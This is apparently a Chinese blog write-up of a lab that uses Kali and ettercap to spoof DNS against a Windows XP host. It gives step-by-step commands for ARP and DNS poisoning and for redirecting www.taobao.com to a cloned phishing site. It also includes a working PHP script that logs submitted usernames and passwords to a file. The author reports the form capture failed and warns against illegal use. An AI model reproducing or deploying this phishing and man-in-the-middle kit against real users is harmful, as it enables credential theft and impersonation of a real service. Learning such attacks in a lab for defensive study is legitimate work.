本人声明整个过程完全是为了进行实验学习,并没有侵犯任何人的权益
DNS原理
实质是域名解析协议,,假设一企业员工上班浏览网页,他会在浏览器里输入http://www.xxxxxx.com
这个网站域名,输入之后他的电脑并不知道这是个什么玩意,于是先查找本地的DNS缓存表,若是没有这条信息就会向最近的DNS服务器寻求帮助,直到找到这个网址指向的xxWeb服务器的IP地址才能访问xx的网页服务
具体如何进行DNS解析有很多细节,不多说了,这里的重点是主机会向DNS服务器寻求帮助
DNS欺骗
既然正常的DNS解析需要经过DNS服务器,那么能不能通过中间人攻击在两者之间横插一脚,窃取企业员工想要访问xx的意图,并伪装成DNS服务器代替DNS服务器为他提供错误的域名解析结果,将http://www.xxxxxx.com
这个域名指向一个提前准备好的虚假的看似可信的网站,也叫做钓鱼网站,在未授权情况下获取他的姓名、年龄、账号、密码等私密信息
话不多说咱们开始
实验
实验内容
使用kali对想要使用xxWEB服务的企业员工主机进行DNS欺骗,诱使他进入提前准备好的钓鱼网站窃取他的私密信息
实验设备
- Win XP
- Win Sever 2003
- kali
实验拓扑图
攻击步骤
发布虚假的网站
利用Apache发布与xx一模一样的钓鱼网站,并且做出修改窃取私密信息
首先需要开启kali上的web服务也就是Apache
systemctl start apache2 //开启Apache服务
netstat -antpl //查看当前的服务
将淘宝的网站更改后发布在Apache上
Apache类似于windows的web服务,也会自动生成一个默认的站点,路径为:
/var/www/html
这里将自动生成的网页删除换成xx的
cd /var/www/html //进入该目录
ls //看看里面有什么
rm -rf * //删除
cp -r /home/kali/桌面/taobao/* ./ //将这个路径下的所有文件复制到当前路径
查看并更改1.txt的权限
ls -l //查看权限
chmod 777 1.txt //所有人对1.txt拥有所有权限
linux的权限是基于八进制数字系统而创建的,读权限(read,r)的值是4,写权限(write,w)的值是2,执行权限(execute,x)的值是1,没有授权的值是0,而三个777分别对应文件实际拥有者,文件实际拥有者所在的组,其它用户的权限都为4+2+1也就是最高权限(真尼玛难理解)
编写error.php文件用于点击登录后表单的提交和页面跳转
<?php
$nam = stripslashes($_POST[ 'name ']);
$pas = stripslashes($_POST[ 'pass ']);
$content = "您已捕获淘宝账号及密码1个:" . " 用户名 " . $nam . " 密码 " . $pas;
$filed = @fopen("1.txt", "a+" );
@fwrite($filed, "$content\n");
?>
<html>
<head>
<script type="text/javascript">
function goBack()
{
window.history.back()11后退+刷新
}
</script>
</head>
<body οnlοad="goBack()"> <!--加载之后立即执行一段 JavaScript -->
</ body>
</html>
需要注意的是其中的name和pass需要和下面的两个文件中input标签中的name属性值对应对应,这样才能成功的截取到提交的表单信息
伪装DNS服务器
原本企业员工主机中会存在这样的表www.taobao.com
–10.1.1.3通过DNS投毒直接把他改掉变成www.taobao.com
–10.1.1.2
更改ettercap的DNS配置文件,目的是当开始DNS投毒时按照这个配置文件来执行
vim /etc/ettercap/etter.dns
//使用vim打开这个配置文件
打开之后长这个样子,带#的都是注释所以相当于这个文件是空的,啥都不用管,在里面加上这两行就行
下面是vim的操作方法
i 进入插入模式
ESC 退出插入模式
:q 退出
:wq 写入并退出
其中A代表正向DNS解析PTR代表反向DNS解析,为什么要加反向呢?因为有的浏览器会进行DNS反向验证,为了确保实验的成功加了两句,此外如果你想做的绝一点可以将前面域名部分改成 * 这样就意味着所有的域名都被解析成10.1.1.2,直接GG
中间人攻击
首先你需要进行ARP投毒让他们之间的信息流向你
我的上一篇文章有详细介绍网络安全基础——中间人攻击
完成ARP投毒后再打开DNS攻击的阀门,还是在ettercap中plugins->Manage plugins,双击dns_spoof打开,这时企业员工的主机的DNS就已经被投毒了,www.xxxxxx.com
访问的不再是xx网页了,而是钓鱼网站
做到这里企业员工的主机是已经被投毒了的,但是有可能还是访问了淘宝的网页,这是因为他的电脑里存在xx的DNS解析缓存,你可以执行一下
ipconfig /flushdns
刷新DNS缓存就可以了
总结
我的这次实验最终其实是失败了,但也不能说是完全失败,怎么说呢。。。我的DNS投毒成功了企业员工的主机会通过www.xxxxxx.com
访问我的钓鱼网站,但是由于我对PHP和HTML网页的学习不是很多所以在分析xx的网页代码的时候没办法和error.php文件连接上导致表单数据没法传输记录下来,但是这都是小问题,钓鱼网站的技术我是学会了。
最后还是请大家千万别做违法的事情,以上全部内容都在下面的视频中有讲解: